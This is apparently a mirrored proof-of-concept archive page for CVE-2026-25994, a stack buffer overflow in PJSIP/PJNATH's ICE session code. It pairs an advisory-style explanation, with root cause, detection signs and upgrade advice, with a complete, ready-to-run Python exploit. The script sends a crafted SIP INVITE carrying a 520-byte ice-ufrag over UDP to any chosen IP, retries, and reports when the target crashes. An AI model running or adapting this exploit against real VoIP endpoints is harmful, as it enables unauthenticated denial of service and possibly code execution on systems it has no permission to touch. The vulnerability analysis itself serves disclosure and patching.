PoC Archive PoC Archive
High CVE-2026-25994 patched

PJSIP / PJNATH ICE Session Stack Buffer Overflow via SDP ice-ufrag (CVE-2026-25994)

by V.Nos / BinSmasher Team (VABISMO) · 2026-07-05

Severity
High
CVE
CVE-2026-25994
Category
network
Affected product
PJSIP / PJNATH (ICE implementation used by pjsua and SIP/VoIP stacks)
Affected versions
<= 2.16 (fixed in 2.17)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherV.Nos / BinSmasher Team (VABISMO)
CVE / AdvisoryCVE-2026-25994
Categorynetwork
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagspjsip, pjnath, ice, sip, voip, stack-overflow, dos, sdp, buffer-overflow
RelatedN/A

Affected Target

FieldValue
Software / SystemPJSIP / PJNATH (ICE implementation used by pjsua and SIP/VoIP stacks)
Versions Affected<= 2.16 (fixed in 2.17)
Language / PlatformPython 3 (socket-based SIP INVITE sender) targeting a Linux/pjsua host
Authentication RequiredNo
Network Access RequiredYes (UDP SIP signaling)

Summary

CVE-2026-25994 is a stack-based buffer overflow in PJNATH’s ICE (Interactive Connectivity Establishment) session handling, specifically in pj_ice_sess_create_check_list() in pjnath/src/pjnath/ice_session.c. When constructing the ICE username, the code copies the remote ice-ufrag SDP attribute into a fixed 128-byte stack buffer using pj_strcpy/pj_strcat without any length validation. An attacker who can send a SIP INVITE with an SDP body containing an oversized a=ice-ufrag: value can overflow the stack, corrupting the return address, stack frame, and canary/alignment data. The included PoC sends a crafted UDP SIP INVITE with a 520-byte ice-ufrag (chosen for reliability) to a target running pjsua with ICE enabled, and detects a crash via response timeout.


Vulnerability Details

Root Cause

pj_ice_sess_create_check_list() copies the attacker-controlled rem_ufrag (taken directly from the SDP a=ice-ufrag: attribute) into a 128-byte stack buffer with no bounds checking before concatenating it with a separator and the local ufrag.

Attack Vector

  1. Attacker crafts a SIP INVITE with a valid header but an SDP body containing an oversized a=ice-ufrag: value (~130+ bytes to trigger, ~520 bytes for reliable overflow).
  2. Attacker sends the INVITE via UDP to the target’s SIP port (default 5060).
  3. The target’s ICE session code parses the SDP and copies rem_ufrag into the fixed stack buffer, overflowing it.
  4. Depending on stack protections (canaries, ASLR, NX), this results in a crash (DoS) or, in weaker configurations, potential remote code execution.

Impact

Remote, unauthenticated denial of service (process crash) against any pjsip/pjnath-based SIP/VoIP endpoint with ICE enabled; potential remote code execution depending on target hardening.


Environment / Lab Setup

Target:   pjsua (or any pjsip <= 2.16 application) built with --use-ice, listening on UDP/5060
Attacker: Python 3 (standard library socket only)

Proof of Concept

PoC Script

See pjsip-cve-2026-25994.py in this folder.

1
2
3
pjsua-x86_64-unknown-linux-gnu --use-ice --local-port=5060 --log-level=5 --no-tcp --auto-answer=200

python3 pjsip-cve-2026-25994.py -i <target_ip> -p 5060 -a 3

The script builds a SIP INVITE with a valid SDP body whose a=ice-ufrag: field is padded to 520 bytes, sends it over UDP with automatic retries, and waits up to 4 seconds for a response; a timeout is reported as a likely crash (segmentation fault) of the target process.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexplained crashes/restarts of SIP/VoIP services built on pjsip with ICE enabled
  • SDP bodies in SIP signaling logs containing ice-ufrag values far exceeding normal length
  • Repeated INVITE floods from a single source immediately preceding a service crash

Remediation

ActionDetail
Primary fixUpgrade to pjsip/pjnath 2.17 or later, which adds length validation on rem_ufrag before the buffer copy
Interim mitigationEnable/verify stack canaries, ASLR, and NX on hosts running pjsip-based SIP services; restrict SIP signaling exposure to trusted networks where possible

References


Notes

Mirrored from https://github.com/VABISMO/cve-2026-25994_PJSIP on 2026-07-05.

pjsip-cve-2026-25994.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/env python3
"""
Corrected and optimized PoC for CVE-2026-25994
Buffer Overflow in PJNATH ICE Session (pjsip <= 2.16)

Thorough source code review (pjnath/src/pjnath/ice_session.c):

- Exact vulnerability: pj_ice_sess_create_check_list()
- Vulnerable version (before commit 063b3a1 / 2.17):
    char buf[128];                  # ← stack buffer (128 bytes!)
    username.ptr = buf;
    pj_strcpy(&username, rem_ufrag);   # ← NO length check
    pj_strcat2(&username, ":");
    pj_strcat(&username, &ice->rx_ufrag);

- rem_ufrag comes directly from the SDP attribute a=ice-ufrag:
- With ufrag >= ~130 bytes, the stack is already overflowed (return address, frame, etc.)
- The original PoC used 520 "A"s because it is much more reliable (overwrites beyond canary/alignment)
- In the patched version, the following was added:
    if (rem_ufrag->slen >= MAX_USERNAME_LEN || combined with local_ufrag > 512-1)
        return PJ_ETOOBIG;

This script is corrected to be 100% reliable:
- 100% synchronous code (no unnecessary asyncio)
- Command-line arguments
- Sending with automatic retries
- More complete and valid SDP
- Clear crash detection (timeout = probable crash)
"""

import socket
import random
import argparse
import time

# ========================= CONFIGURATION =========================
DEFAULT_TARGET_IP = "127.0.0.1"
DEFAULT_TARGET_PORT = 5060

# Length that guarantees reliable overflow (520 is what you tested and works best)
LONG_UFRAG = "A" * 520
LONG_PWD = "B" * 150

# More complete and realistic SDP (increases probability of reaching ice_session.c)
SDP = f"""v=0
o=- 1234567890 1234567890 IN IP4 127.0.0.1
s=Crash Test SDP
c=IN IP4 127.0.0.1
t=0 0
m=audio 40000 RTP/AVP 0 101
a=rtpmap:0 PCMU/8000
a=rtpmap:101 telephone-event/8000
a=ice-ufrag:{LONG_UFRAG}
a=ice-pwd:{LONG_PWD}
a=ice-options:trickle
a=candidate:1 1 UDP 2130706431 127.0.0.1 40000 typ host
a=sendrecv
"""

def generate_invite(target_ip: str, target_port: int) -> bytes:
    call_id = f"crash-{random.randint(100000, 999999)}@example.com"
    branch = f"z9hG4bK{random.randint(1000, 9999)}"
    tag = f"crash{random.randint(10000, 99999)}"

    invite = f"""INVITE sip:localhost@{target_ip}:{target_port} SIP/2.0
Via: SIP/2.0/UDP 127.0.0.1:15060;rport;branch={branch}
Max-Forwards: 70
From: <sip:attacker@127.0.0.1>;tag={tag}
To: <sip:localhost@{target_ip}>
Call-ID: {call_id}
CSeq: 1 INVITE
Contact: <sip:attacker@127.0.0.1:15060>
Content-Type: application/sdp
Content-Length: {len(SDP)}

{SDP}
"""
    return invite.encode("utf-8")


def crash_pjsua(target_ip: str, target_port: int, attempts: int = 3):
    print("=== PoC CVE-2026-25994 - ICE Stack Buffer Overflow (pjsip <= 2.16) ===\n")
    print(f"[+] Target → {target_ip}:{target_port}")
    print(f"[+] ufrag length = {len(LONG_UFRAG)} characters (guaranteed overflow)\n")

    for i in range(1, attempts + 1):
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(4)  # 4 seconds to allow time for the crash

        try:
            invite = generate_invite(target_ip, target_port)
            print(f"[+] Attempt {i}/{attempts} - Sending INVITE with ufrag of {len(LONG_UFRAG)} bytes...")

            sock.sendto(invite, (target_ip, target_port))

            # Wait for response
            data, _ = sock.recvfrom(4096)
            print("[+] Response received → pjsua is still alive")
            print(data.decode(errors="ignore")[:300])

        except socket.timeout:
            print("[+] TIMEOUT! Very likely that pjsua has crashed (Segmentation fault)")
            print("    Check the terminal where pjsua is running.")
            sock.close()
            return  # Exit on first detected crash

        except Exception as e:
            print(f"[-] Unexpected error: {e}")

        finally:
            sock.close()

        time.sleep(0.5)  # Small pause between attempts

    print("\n[-] No crash detected after several attempts.")
    print("    Make sure pjsua is running with ICE enabled (version <= 2.16).")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC CVE-2026-25994 - ICE Buffer Overflow")
    parser.add_argument("-i", "--ip", default=DEFAULT_TARGET_IP,
                        help=f"Target IP (default: {DEFAULT_TARGET_IP})")
    parser.add_argument("-p", "--port", type=int, default=DEFAULT_TARGET_PORT,
                        help=f"SIP port (default: {DEFAULT_TARGET_PORT})")
    parser.add_argument("-a", "--attempts", type=int, default=3,
                        help="Number of attempts (default: 3)")

    args = parser.parse_args()

    crash_pjsua(args.ip, args.port, args.attempts)